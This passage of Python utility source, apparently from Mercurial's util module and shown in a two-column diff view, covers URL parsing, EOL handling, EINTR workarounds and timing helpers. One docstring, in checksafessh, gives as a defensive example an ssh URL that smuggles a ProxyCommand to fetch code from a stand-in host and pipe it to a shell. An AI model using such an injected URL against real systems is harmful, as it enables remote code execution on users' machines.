2756 | 2757 | (1, 1 << 10, _(b'%.2f KB')), |
|
2757 | 2758 | (1, 1, _(b'%.0f bytes')), |
|
2758 | 2759 | ) |
|
2759 | 2760 | |
|
2760 | 2761 | |
|
2761 | 2762 | class transformingwriter(object): |
|
2762 | 2763 | """Writable file wrapper to transform data by function""" |
|
2763 | 2764 | |
|
2764 | 2765 | def __init__(self, fp, encode): |
|
2765 | 2766 | self._fp = fp |
|
2766 | 2767 | self._encode = encode |
|
2767 | 2768 | |
|
2768 | 2769 | def close(self): |
|
2769 | 2770 | self._fp.close() |
|
2770 | 2771 | |
|
2771 | 2772 | def flush(self): |
|
2772 | 2773 | self._fp.flush() |
|
2773 | 2774 | |
|
2774 | 2775 | def write(self, data): |
|
2775 | 2776 | return self._fp.write(self._encode(data)) |
|
2776 | 2777 | |
|
2777 | 2778 | |
|
2778 | 2779 | # Matches a single EOL which can either be a CRLF where repeated CR |
|
2779 | 2780 | # are removed or a LF. We do not care about old Macintosh files, so a |
|
2780 | 2781 | # stray CR is an error. |
|
2781 | 2782 | _eolre = remod.compile(br'\r*\n') |
|
2782 | 2783 | |
|
2783 | 2784 | |
|
2784 | 2785 | def tolf(s): |
|
2785 | 2786 | return _eolre.sub(b'\n', s) |
|
2786 | 2787 | |
|
2787 | 2788 | |
|
2788 | 2789 | def tocrlf(s): |
|
2789 | 2790 | return _eolre.sub(b'\r\n', s) |
|
2790 | 2791 | |
|
2791 | 2792 | |
|
2792 | 2793 | def _crlfwriter(fp): |
|
2793 | 2794 | return transformingwriter(fp, tocrlf) |
|
2794 | 2795 | |
|
2795 | 2796 | |
|
2796 | 2797 | if pycompat.oslinesep == b'\r\n': |
|
2797 | 2798 | tonativeeol = tocrlf |
|
2798 | 2799 | fromnativeeol = tolf |
|
2799 | 2800 | nativeeolwriter = _crlfwriter |
|
2800 | 2801 | else: |
|
2801 | 2802 | tonativeeol = pycompat.identity |
|
2802 | 2803 | fromnativeeol = pycompat.identity |
|
2803 | 2804 | nativeeolwriter = pycompat.identity |
|
2804 | 2805 | |
|
2805 | 2806 | if pyplatform.python_implementation() == b'CPython' and sys.version_info < ( |
|
2806 | 2807 | 3, |
|
2807 | 2808 | 0, |
|
2808 | 2809 | ): |
|
2809 | 2810 | # There is an issue in CPython that some IO methods do not handle EINTR |
|
2810 | 2811 | # correctly. The following table shows what CPython version (and functions) |
|
2811 | 2812 | # are affected (buggy: has the EINTR bug, okay: otherwise): |
|
2812 | 2813 | # |
|
2813 | 2814 | # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
|
2814 | 2815 | # -------------------------------------------------- |
|
2815 | 2816 | # fp.__iter__ | buggy | buggy | okay |
|
2816 | 2817 | # fp.read* | buggy | okay [1] | okay |
|
2817 | 2818 | # |
|
2818 | 2819 | # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
|
2819 | 2820 | # |
|
2820 | 2821 | # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
|
2821 | 2822 | # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
|
2822 | 2823 | # |
|
2823 | 2824 | # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
|
2824 | 2825 | # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
|
2825 | 2826 | # CPython 2, because CPython 2 maintains an internal readahead buffer for |
|
2826 | 2827 | # fp.__iter__ but not other fp.read* methods. |
|
2827 | 2828 | # |
|
2828 | 2829 | # On modern systems like Linux, the "read" syscall cannot be interrupted |
|
2829 | 2830 | # when reading "fast" files like on-disk files. So the EINTR issue only |
|
2830 | 2831 | # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
|
2831 | 2832 | # files approximately as "fast" files and use the fast (unsafe) code path, |
|
2832 | 2833 | # to minimize the performance impact. |
|
2833 | 2834 | if sys.version_info >= (2, 7, 4): |
|
2834 | 2835 | # fp.readline deals with EINTR correctly, use it as a workaround. |
|
2835 | 2836 | def _safeiterfile(fp): |
|
2836 | 2837 | return iter(fp.readline, b'') |
|
2837 | 2838 | |
|
2838 | 2839 | else: |
|
2839 | 2840 | # fp.read* are broken too, manually deal with EINTR in a stupid way. |
|
2840 | 2841 | # note: this may block longer than necessary because of bufsize. |
|
2841 | 2842 | def _safeiterfile(fp, bufsize=4096): |
|
2842 | 2843 | fd = fp.fileno() |
|
2843 | 2844 | line = b'' |
|
2844 | 2845 | while True: |
|
2845 | 2846 | try: |
|
2846 | 2847 | buf = os.read(fd, bufsize) |
|
2847 | 2848 | except OSError as ex: |
|
2848 | 2849 | # os.read only raises EINTR before any data is read |
|
2849 | 2850 | if ex.errno == errno.EINTR: |
|
2850 | 2851 | continue |
|
2851 | 2852 | else: |
|
2852 | 2853 | raise |
|
2853 | 2854 | line += buf |
|
2854 | 2855 | if b'\n' in buf: |
|
2855 | 2856 | splitted = line.splitlines(True) |
|
2856 | 2857 | line = b'' |
|
2857 | 2858 | for l in splitted: |
|
2858 | 2859 | if l[-1] == b'\n': |
|
2859 | 2860 | yield l |
|
2860 | 2861 | else: |
|
2861 | 2862 | line = l |
|
2862 | 2863 | if not buf: |
|
2863 | 2864 | break |
|
2864 | 2865 | if line: |
|
2865 | 2866 | yield line |
|
2866 | 2867 | |
|
2867 | 2868 | def iterfile(fp): |
|
2868 | 2869 | fastpath = True |
|
2869 | 2870 | if type(fp) is file: |
|
2870 | 2871 | fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
|
2871 | 2872 | if fastpath: |
|
2872 | 2873 | return fp |
|
2873 | 2874 | else: |
|
2874 | 2875 | return _safeiterfile(fp) |
|
2875 | 2876 | |
|
2876 | 2877 | |
|
2877 | 2878 | else: |
|
2878 | 2879 | # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
|
2879 | 2880 | def iterfile(fp): |
|
2880 | 2881 | return fp |
|
2881 | 2882 | |
|
2882 | 2883 | |
|
2883 | 2884 | def iterlines(iterator): |
|
2884 | 2885 | for chunk in iterator: |
|
2885 | 2886 | for line in chunk.splitlines(): |
|
2886 | 2887 | yield line |
|
2887 | 2888 | |
|
2888 | 2889 | |
|
2889 | 2890 | def expandpath(path): |
|
2890 | 2891 | return os.path.expanduser(os.path.expandvars(path)) |
|
2891 | 2892 | |
|
2892 | 2893 | |
|
2893 | 2894 | def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
|
2894 | 2895 | """Return the result of interpolating items in the mapping into string s. |
|
2895 | 2896 | |
|
2896 | 2897 | prefix is a single character string, or a two character string with |
|
2897 | 2898 | a backslash as the first character if the prefix needs to be escaped in |
|
2898 | 2899 | a regular expression. |
|
2899 | 2900 | |
|
2900 | 2901 | fn is an optional function that will be applied to the replacement text |
|
2901 | 2902 | just before replacement. |
|
2902 | 2903 | |
|
2903 | 2904 | escape_prefix is an optional flag that allows using doubled prefix for |
|
2904 | 2905 | its escaping. |
|
2905 | 2906 | """ |
|
2906 | 2907 | fn = fn or (lambda s: s) |
|
2907 | 2908 | patterns = b'|'.join(mapping.keys()) |
|
2908 | 2909 | if escape_prefix: |
|
2909 | 2910 | patterns += b'|' + prefix |
|
2910 | 2911 | if len(prefix) > 1: |
|
2911 | 2912 | prefix_char = prefix[1:] |
|
2912 | 2913 | else: |
|
2913 | 2914 | prefix_char = prefix |
|
2914 | 2915 | mapping[prefix_char] = prefix_char |
|
2915 | 2916 | r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
|
2916 | 2917 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
|
2917 | 2918 | |
|
2918 | 2919 | |
|
2919 | 2920 | def getport(port): |
|
2920 | 2921 | """Return the port for a given network service. |
|
2921 | 2922 | |
|
2922 | 2923 | If port is an integer, it's returned as is. If it's a string, it's |
|
2923 | 2924 | looked up using socket.getservbyname(). If there's no matching |
|
2924 | 2925 | service, error.Abort is raised. |
|
2925 | 2926 | """ |
|
2926 | 2927 | try: |
|
2927 | 2928 | return int(port) |
|
2928 | 2929 | except ValueError: |
|
2929 | 2930 | pass |
|
2930 | 2931 | |
|
2931 | 2932 | try: |
|
2932 | 2933 | return socket.getservbyname(pycompat.sysstr(port)) |
|
2933 | 2934 | except socket.error: |
|
2934 | 2935 | raise error.Abort( |
|
2935 | 2936 | _(b"no port number associated with service '%s'") % port |
|
2936 | 2937 | ) |
|
2937 | 2938 | |
|
2938 | 2939 | |
|
2939 | 2940 | class url(object): |
|
2940 | 2941 | r"""Reliable URL parser. |
|
2941 | 2942 | |
|
2942 | 2943 | This parses URLs and provides attributes for the following |
|
2943 | 2944 | components: |
|
2944 | 2945 | |
|
2945 | 2946 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
|
2946 | 2947 | |
|
2947 | 2948 | Missing components are set to None. The only exception is |
|
2948 | 2949 | fragment, which is set to '' if present but empty. |
|
2949 | 2950 | |
|
2950 | 2951 | If parsefragment is False, fragment is included in query. If |
|
2951 | 2952 | parsequery is False, query is included in path. If both are |
|
2952 | 2953 | False, both fragment and query are included in path. |
|
2953 | 2954 | |
|
2954 | 2955 | See http://www.ietf.org/rfc/rfc2396.txt for more information. |
|
2955 | 2956 | |
|
2956 | 2957 | Note that for backward compatibility reasons, bundle URLs do not |
|
2957 | 2958 | take host names. That means 'bundle://../' has a path of '../'. |
|
2958 | 2959 | |
|
2959 | 2960 | Examples: |
|
2960 | 2961 | |
|
2961 | 2962 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
|
2962 | 2963 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
|
2963 | 2964 | >>> url(b'ssh://[::1]:2200//home/joe/repo') |
|
2964 | 2965 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
|
2965 | 2966 | >>> url(b'file:///home/joe/repo') |
|
2966 | 2967 | <url scheme: 'file', path: '/home/joe/repo'> |
|
2967 | 2968 | >>> url(b'file:///c:/temp/foo/') |
|
2968 | 2969 | <url scheme: 'file', path: 'c:/temp/foo/'> |
|
2969 | 2970 | >>> url(b'bundle:foo') |
|
2970 | 2971 | <url scheme: 'bundle', path: 'foo'> |
|
2971 | 2972 | >>> url(b'bundle://../foo') |
|
2972 | 2973 | <url scheme: 'bundle', path: '../foo'> |
|
2973 | 2974 | >>> url(br'c:\foo\bar') |
|
2974 | 2975 | <url path: 'c:\\foo\\bar'> |
|
2975 | 2976 | >>> url(br'\\blah\blah\blah') |
|
2976 | 2977 | <url path: '\\\\blah\\blah\\blah'> |
|
2977 | 2978 | >>> url(br'\\blah\blah\blah#baz') |
|
2978 | 2979 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
|
2979 | 2980 | >>> url(br'file:///C:\users\me') |
|
2980 | 2981 | <url scheme: 'file', path: 'C:\\users\\me'> |
|
2981 | 2982 | |
|
2982 | 2983 | Authentication credentials: |
|
2983 | 2984 | |
|
2984 | 2985 | >>> url(b'ssh://joe:xyz@x/repo') |
|
2985 | 2986 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
|
2986 | 2987 | >>> url(b'ssh://joe@x/repo') |
|
2987 | 2988 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
|
2988 | 2989 | |
|
2989 | 2990 | Query strings and fragments: |
|
2990 | 2991 | |
|
2991 | 2992 | >>> url(b'http://host/a?b#c') |
|
2992 | 2993 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
|
2993 | 2994 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
|
2994 | 2995 | <url scheme: 'http', host: 'host', path: 'a?b#c'> |
|
2995 | 2996 | |
|
2996 | 2997 | Empty path: |
|
2997 | 2998 | |
|
2998 | 2999 | >>> url(b'') |
|
2999 | 3000 | <url path: ''> |
|
3000 | 3001 | >>> url(b'#a') |
|
3001 | 3002 | <url path: '', fragment: 'a'> |
|
3002 | 3003 | >>> url(b'http://host/') |
|
3003 | 3004 | <url scheme: 'http', host: 'host', path: ''> |
|
3004 | 3005 | >>> url(b'http://host/#a') |
|
3005 | 3006 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
|
3006 | 3007 | |
|
3007 | 3008 | Only scheme: |
|
3008 | 3009 | |
|
3009 | 3010 | >>> url(b'http:') |
|
3010 | 3011 | <url scheme: 'http'> |
|
3011 | 3012 | """ |
|
3012 | 3013 | |
|
3013 | 3014 | _safechars = b"!~*'()+" |
|
3014 | 3015 | _safepchars = b"/!~*'()+:\\" |
|
3015 | 3016 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
|
3016 | 3017 | |
|
3017 | 3018 | def __init__(self, path, parsequery=True, parsefragment=True): |
|
3018 | 3019 | # We slowly chomp away at path until we have only the path left |
|
3019 | 3020 | self.scheme = self.user = self.passwd = self.host = None |
|
3020 | 3021 | self.port = self.path = self.query = self.fragment = None |
|
3021 | 3022 | self._localpath = True |
|
3022 | 3023 | self._hostport = b'' |
|
3023 | 3024 | self._origpath = path |
|
3024 | 3025 | |
|
3025 | 3026 | if parsefragment and b'#' in path: |
|
3026 | 3027 | path, self.fragment = path.split(b'#', 1) |
|
3027 | 3028 | |
|
3028 | 3029 | # special case for Windows drive letters and UNC paths |
|
3029 | 3030 | if hasdriveletter(path) or path.startswith(b'\\\\'): |
|
3030 | 3031 | self.path = path |
|
3031 | 3032 | return |
|
3032 | 3033 | |
|
3033 | 3034 | # For compatibility reasons, we can't handle bundle paths as |
|
3034 | 3035 | # normal URLS |
|
3035 | 3036 | if path.startswith(b'bundle:'): |
|
3036 | 3037 | self.scheme = b'bundle' |
|
3037 | 3038 | path = path[7:] |
|
3038 | 3039 | if path.startswith(b'//'): |
|
3039 | 3040 | path = path[2:] |
|
3040 | 3041 | self.path = path |
|
3041 | 3042 | return |
|
3042 | 3043 | |
|
3043 | 3044 | if self._matchscheme(path): |
|
3044 | 3045 | parts = path.split(b':', 1) |
|
3045 | 3046 | if parts[0]: |
|
3046 | 3047 | self.scheme, path = parts |
|
3047 | 3048 | self._localpath = False |
|
3048 | 3049 | |
|
3049 | 3050 | if not path: |
|
3050 | 3051 | path = None |
|
3051 | 3052 | if self._localpath: |
|
3052 | 3053 | self.path = b'' |
|
3053 | 3054 | return |
|
3054 | 3055 | else: |
|
3055 | 3056 | if self._localpath: |
|
3056 | 3057 | self.path = path |
|
3057 | 3058 | return |
|
3058 | 3059 | |
|
3059 | 3060 | if parsequery and b'?' in path: |
|
3060 | 3061 | path, self.query = path.split(b'?', 1) |
|
3061 | 3062 | if not path: |
|
3062 | 3063 | path = None |
|
3063 | 3064 | if not self.query: |
|
3064 | 3065 | self.query = None |
|
3065 | 3066 | |
|
3066 | 3067 | # // is required to specify a host/authority |
|
3067 | 3068 | if path and path.startswith(b'//'): |
|
3068 | 3069 | parts = path[2:].split(b'/', 1) |
|
3069 | 3070 | if len(parts) > 1: |
|
3070 | 3071 | self.host, path = parts |
|
3071 | 3072 | else: |
|
3072 | 3073 | self.host = parts[0] |
|
3073 | 3074 | path = None |
|
3074 | 3075 | if not self.host: |
|
3075 | 3076 | self.host = None |
|
3076 | 3077 | # path of file:///d is /d |
|
3077 | 3078 | # path of file:///d:/ is d:/, not /d:/ |
|
3078 | 3079 | if path and not hasdriveletter(path): |
|
3079 | 3080 | path = b'/' + path |
|
3080 | 3081 | |
|
3081 | 3082 | if self.host and b'@' in self.host: |
|
3082 | 3083 | self.user, self.host = self.host.rsplit(b'@', 1) |
|
3083 | 3084 | if b':' in self.user: |
|
3084 | 3085 | self.user, self.passwd = self.user.split(b':', 1) |
|
3085 | 3086 | if not self.host: |
|
3086 | 3087 | self.host = None |
|
3087 | 3088 | |
|
3088 | 3089 | # Don't split on colons in IPv6 addresses without ports |
|
3089 | 3090 | if ( |
|
3090 | 3091 | self.host |
|
3091 | 3092 | and b':' in self.host |
|
3092 | 3093 | and not ( |
|
3093 | 3094 | self.host.startswith(b'[') and self.host.endswith(b']') |
|
3094 | 3095 | ) |
|
3095 | 3096 | ): |
|
3096 | 3097 | self._hostport = self.host |
|
3097 | 3098 | self.host, self.port = self.host.rsplit(b':', 1) |
|
3098 | 3099 | if not self.host: |
|
3099 | 3100 | self.host = None |
|
3100 | 3101 | |
|
3101 | 3102 | if ( |
|
3102 | 3103 | self.host |
|
3103 | 3104 | and self.scheme == b'file' |
|
3104 | 3105 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
|
3105 | 3106 | ): |
|
3106 | 3107 | raise error.Abort( |
|
3107 | 3108 | _(b'file:// URLs can only refer to localhost') |
|
3108 | 3109 | ) |
|
3109 | 3110 | |
|
3110 | 3111 | self.path = path |
|
3111 | 3112 | |
|
3112 | 3113 | # leave the query string escaped |
|
3113 | 3114 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): |
|
3114 | 3115 | v = getattr(self, a) |
|
3115 | 3116 | if v is not None: |
|
3116 | 3117 | setattr(self, a, urlreq.unquote(v)) |
|
3117 | 3118 | |
|
3118 | 3119 | @encoding.strmethod |
|
3119 | 3120 | def __repr__(self): |
|
3120 | 3121 | attrs = [] |
|
3121 | 3122 | for a in ( |
|
3122 | 3123 | b'scheme', |
|
3123 | 3124 | b'user', |
|
3124 | 3125 | b'passwd', |
|
3125 | 3126 | b'host', |
|
3126 | 3127 | b'port', |
|
3127 | 3128 | b'path', |
|
3128 | 3129 | b'query', |
|
3129 | 3130 | b'fragment', |
|
3130 | 3131 | ): |
|
3131 | 3132 | v = getattr(self, a) |
|
3132 | 3133 | if v is not None: |
|
3133 | 3134 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) |
|
3134 | 3135 | return b'<url %s>' % b', '.join(attrs) |
|
3135 | 3136 | |
|
3136 | 3137 | def __bytes__(self): |
|
3137 | 3138 | r"""Join the URL's components back into a URL string. |
|
3138 | 3139 | |
|
3139 | 3140 | Examples: |
|
3140 | 3141 | |
|
3141 | 3142 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
|
3142 | 3143 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
|
3143 | 3144 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
|
3144 | 3145 | 'http://user:pw@host:80/?foo=bar&baz=42' |
|
3145 | 3146 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
|
3146 | 3147 | 'http://user:pw@host:80/?foo=bar%3dbaz' |
|
3147 | 3148 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
|
3148 | 3149 | 'ssh://user:pw@[::1]:2200//home/joe#' |
|
3149 | 3150 | >>> bytes(url(b'http://localhost:80//')) |
|
3150 | 3151 | 'http://localhost:80//' |
|
3151 | 3152 | >>> bytes(url(b'http://localhost:80/')) |
|
3152 | 3153 | 'http://localhost:80/' |
|
3153 | 3154 | >>> bytes(url(b'http://localhost:80')) |
|
3154 | 3155 | 'http://localhost:80/' |
|
3155 | 3156 | >>> bytes(url(b'bundle:foo')) |
|
3156 | 3157 | 'bundle:foo' |
|
3157 | 3158 | >>> bytes(url(b'bundle://../foo')) |
|
3158 | 3159 | 'bundle:../foo' |
|
3159 | 3160 | >>> bytes(url(b'path')) |
|
3160 | 3161 | 'path' |
|
3161 | 3162 | >>> bytes(url(b'file:///tmp/foo/bar')) |
|
3162 | 3163 | 'file:///tmp/foo/bar' |
|
3163 | 3164 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
|
3164 | 3165 | 'file:///c:/tmp/foo/bar' |
|
3165 | 3166 | >>> print(url(br'bundle:foo\bar')) |
|
3166 | 3167 | bundle:foo\bar |
|
3167 | 3168 | >>> print(url(br'file:///D:\data\hg')) |
|
3168 | 3169 | file:///D:\data\hg |
|
3169 | 3170 | """ |
|
3170 | 3171 | if self._localpath: |
|
3171 | 3172 | s = self.path |
|
3172 | 3173 | if self.scheme == b'bundle': |
|
3173 | 3174 | s = b'bundle:' + s |
|
3174 | 3175 | if self.fragment: |
|
3175 | 3176 | s += b'#' + self.fragment |
|
3176 | 3177 | return s |
|
3177 | 3178 | |
|
3178 | 3179 | s = self.scheme + b':' |
|
3179 | 3180 | if self.user or self.passwd or self.host: |
|
3180 | 3181 | s += b'//' |
|
3181 | 3182 | elif self.scheme and ( |
|
3182 | 3183 | not self.path |
|
3183 | 3184 | or self.path.startswith(b'/') |
|
3184 | 3185 | or hasdriveletter(self.path) |
|
3185 | 3186 | ): |
|
3186 | 3187 | s += b'//' |
|
3187 | 3188 | if hasdriveletter(self.path): |
|
3188 | 3189 | s += b'/' |
|
3189 | 3190 | if self.user: |
|
3190 | 3191 | s += urlreq.quote(self.user, safe=self._safechars) |
|
3191 | 3192 | if self.passwd: |
|
3192 | 3193 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
|
3193 | 3194 | if self.user or self.passwd: |
|
3194 | 3195 | s += b'@' |
|
3195 | 3196 | if self.host: |
|
3196 | 3197 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
|
3197 | 3198 | s += urlreq.quote(self.host) |
|
3198 | 3199 | else: |
|
3199 | 3200 | s += self.host |
|
3200 | 3201 | if self.port: |
|
3201 | 3202 | s += b':' + urlreq.quote(self.port) |
|
3202 | 3203 | if self.host: |
|
3203 | 3204 | s += b'/' |
|
3204 | 3205 | if self.path: |
|
3205 | 3206 | # TODO: similar to the query string, we should not unescape the |
|
3206 | 3207 | # path when we store it, the path might contain '%2f' = '/', |
|
3207 | 3208 | # which we should *not* escape. |
|
3208 | 3209 | s += urlreq.quote(self.path, safe=self._safepchars) |
|
3209 | 3210 | if self.query: |
|
3210 | 3211 | # we store the query in escaped form. |
|
3211 | 3212 | s += b'?' + self.query |
|
3212 | 3213 | if self.fragment is not None: |
|
3213 | 3214 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
|
3214 | 3215 | return s |
|
3215 | 3216 | |
|
3216 | 3217 | __str__ = encoding.strmethod(__bytes__) |
|
3217 | 3218 | |
|
3218 | 3219 | def authinfo(self): |
|
3219 | 3220 | user, passwd = self.user, self.passwd |
|
3220 | 3221 | try: |
|
3221 | 3222 | self.user, self.passwd = None, None |
|
3222 | 3223 | s = bytes(self) |
|
3223 | 3224 | finally: |
|
3224 | 3225 | self.user, self.passwd = user, passwd |
|
3225 | 3226 | if not self.user: |
|
3226 | 3227 | return (s, None) |
|
3227 | 3228 | # authinfo[1] is passed to urllib2 password manager, and its |
|
3228 | 3229 | # URIs must not contain credentials. The host is passed in the |
|
3229 | 3230 | # URIs list because Python < 2.4.3 uses only that to search for |
|
3230 | 3231 | # a password. |
|
3231 | 3232 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
|
3232 | 3233 | |
|
3233 | 3234 | def isabs(self): |
|
3234 | 3235 | if self.scheme and self.scheme != b'file': |
|
3235 | 3236 | return True # remote URL |
|
3236 | 3237 | if hasdriveletter(self.path): |
|
3237 | 3238 | return True # absolute for our purposes - can't be joined() |
|
3238 | 3239 | if self.path.startswith(br'\\'): |
|
3239 | 3240 | return True # Windows UNC path |
|
3240 | 3241 | if self.path.startswith(b'/'): |
|
3241 | 3242 | return True # POSIX-style |
|
3242 | 3243 | return False |
|
3243 | 3244 | |
|
3244 | 3245 | def localpath(self): |
|
3245 | 3246 | if self.scheme == b'file' or self.scheme == b'bundle': |
|
3246 | 3247 | path = self.path or b'/' |
|
3247 | 3248 | # For Windows, we need to promote hosts containing drive |
|
3248 | 3249 | # letters to paths with drive letters. |
|
3249 | 3250 | if hasdriveletter(self._hostport): |
|
3250 | 3251 | path = self._hostport + b'/' + self.path |
|
3251 | 3252 | elif ( |
|
3252 | 3253 | self.host is not None and self.path and not hasdriveletter(path) |
|
3253 | 3254 | ): |
|
3254 | 3255 | path = b'/' + path |
|
3255 | 3256 | return path |
|
3256 | 3257 | return self._origpath |
|
3257 | 3258 | |
|
3258 | 3259 | def islocal(self): |
|
3259 | 3260 | '''whether localpath will return something that posixfile can open''' |
|
3260 | 3261 | return ( |
|
3261 | 3262 | not self.scheme |
|
3262 | 3263 | or self.scheme == b'file' |
|
3263 | 3264 | or self.scheme == b'bundle' |
|
3264 | 3265 | ) |
|
3265 | 3266 | |
|
3266 | 3267 | |
|
3267 | 3268 | def hasscheme(path): |
|
3268 | 3269 | return bool(url(path).scheme) |
|
3269 | 3270 | |
|
3270 | 3271 | |
|
3271 | 3272 | def hasdriveletter(path): |
|
3272 | 3273 | return path and path[1:2] == b':' and path[0:1].isalpha() |
|
3273 | 3274 | |
|
3274 | 3275 | |
|
3275 | 3276 | def urllocalpath(path): |
|
3276 | 3277 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
3277 | 3278 | |
|
3278 | 3279 | |
|
3279 | 3280 | def checksafessh(path): |
|
3280 | 3281 | """check if a path / url is a potentially unsafe ssh exploit (SEC) |
|
3281 | 3282 | |
|
3282 | 3283 | This is a sanity check for ssh urls. ssh will parse the first item as |
|
3283 | 3284 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
|
3284 | 3285 | Let's prevent these potentially exploited urls entirely and warn the |
|
3285 | 3286 | user. |
|
3286 | 3287 | |
|
3287 | 3288 | Raises an error.Abort when the url is unsafe. |
|
3288 | 3289 | """ |
|
3289 | 3290 | path = urlreq.unquote(path) |
|
3290 | 3291 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
|
3291 | 3292 | raise error.Abort( |
|
3292 | 3293 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
|
3293 | 3294 | ) |
|
3294 | 3295 | |
|
3295 | 3296 | |
|
3296 | 3297 | def hidepassword(u): |
|
3297 | 3298 | '''hide user credential in a url string''' |
|
3298 | 3299 | u = url(u) |
|
3299 | 3300 | if u.passwd: |
|
3300 | 3301 | u.passwd = b'***' |
|
3301 | 3302 | return bytes(u) |
|
3302 | 3303 | |
|
3303 | 3304 | |
|
3304 | 3305 | def removeauth(u): |
|
3305 | 3306 | '''remove all authentication information from a url string''' |
|
3306 | 3307 | u = url(u) |
|
3307 | 3308 | u.user = u.passwd = None |
|
3308 | 3309 | return bytes(u) |
|
3309 | 3310 | |
|
3310 | 3311 | |
|
3311 | 3312 | timecount = unitcountfn( |
|
3312 | 3313 | (1, 1e3, _(b'%.0f s')), |
|
3313 | 3314 | (100, 1, _(b'%.1f s')), |
|
3314 | 3315 | (10, 1, _(b'%.2f s')), |
|
3315 | 3316 | (1, 1, _(b'%.3f s')), |
|
3316 | 3317 | (100, 0.001, _(b'%.1f ms')), |
|
3317 | 3318 | (10, 0.001, _(b'%.2f ms')), |
|
3318 | 3319 | (1, 0.001, _(b'%.3f ms')), |
|
3319 | 3320 | (100, 0.000001, _(b'%.1f us')), |
|
3320 | 3321 | (10, 0.000001, _(b'%.2f us')), |
|
3321 | 3322 | (1, 0.000001, _(b'%.3f us')), |
|
3322 | 3323 | (100, 0.000000001, _(b'%.1f ns')), |
|
3323 | 3324 | (10, 0.000000001, _(b'%.2f ns')), |
|
3324 | 3325 | (1, 0.000000001, _(b'%.3f ns')), |
|
3325 | 3326 | ) |
|
3326 | 3327 | |
|
3327 | 3328 | |
|
3328 | 3329 | @attr.s |
|
3329 | 3330 | class timedcmstats(object): |
|
3330 | 3331 | """Stats information produced by the timedcm context manager on entering.""" |
|
3331 | 3332 | |
|
3332 | 3333 | # the starting value of the timer as a float (meaning and resulution is |
|
3333 | 3334 | # platform dependent, see util.timer) |
|
3334 | 3335 | start = attr.ib(default=attr.Factory(lambda: timer())) |
|
3335 | 3336 | # the number of seconds as a floating point value; starts at 0, updated when |
|
3336 | 3337 | # the context is exited. |
|
3337 | 3338 | elapsed = attr.ib(default=0) |
|
3338 | 3339 | # the number of nested timedcm context managers. |
|
3339 | 3340 | level = attr.ib(default=1) |
|
3340 | 3341 | |
|
3341 | 3342 | def __bytes__(self): |
|
3342 | 3343 | return timecount(self.elapsed) if self.elapsed else b'<unknown>' |
|
3343 | 3344 | |
|
3344 | 3345 | __str__ = encoding.strmethod(__bytes__) |
|
3345 | 3346 | |
|
3346 | 3347 | |
|
3347 | 3348 | @contextlib.contextmanager |
|
3348 | 3349 | def timedcm(whencefmt, *whenceargs): |
|
3349 | 3350 | """A context manager that produces timing information for a given context. |
|
3350 | 3351 | |
|
3351 | 3352 | On entering a timedcmstats instance is produced. |
|
3352 | 3353 | |
|
3353 | 3354 | This context manager is reentrant. |
|
3354 | 3355 | |
|
3355 | 3356 | """ |
|
3356 | 3357 | # track nested context managers |
|
3357 | 3358 | timedcm._nested += 1 |
|
3358 | 3359 | timing_stats = timedcmstats(level=timedcm._nested) |
|
3359 | 3360 | try: |
|
3360 | 3361 | with tracing.log(whencefmt, *whenceargs): |
|
3361 | 3362 | yield timing_stats |
|
3362 | 3363 | finally: |
|
3363 | 3364 | timing_stats.elapsed = timer() - timing_stats.start |
|
3364 | 3365 | timedcm._nested -= 1 |
|
3365 | 3366 | |
|
3366 | 3367 | |
|
3367 | 3368 | timedcm._nested = 0 |
|
3368 | 3369 | |
|
3369 | 3370 | |
|
3370 | 3371 | def timed(func): |
|
3371 | 3372 | '''Report the execution time of a function call to stderr. |
|
3372 | 3373 | |
|
3373 | 3374 | During development, use as a decorator when you need to measure |
|
3374 | 3375 | the cost of a function, e.g. as follows: |
|
3375 | 3376 | |
|
3376 | 3377 | @util.timed |
|
3377 | 3378 | def foo(a, b, c): |
|
3378 | 3379 | pass |
|
3379 | 3380 | ''' |
|
3380 | 3381 | |
|
3381 | 3382 | def wrapper(*args, **kwargs): |
|
3382 | 3383 | with timedcm(pycompat.bytestr(func.__name__)) as time_stats: |
|
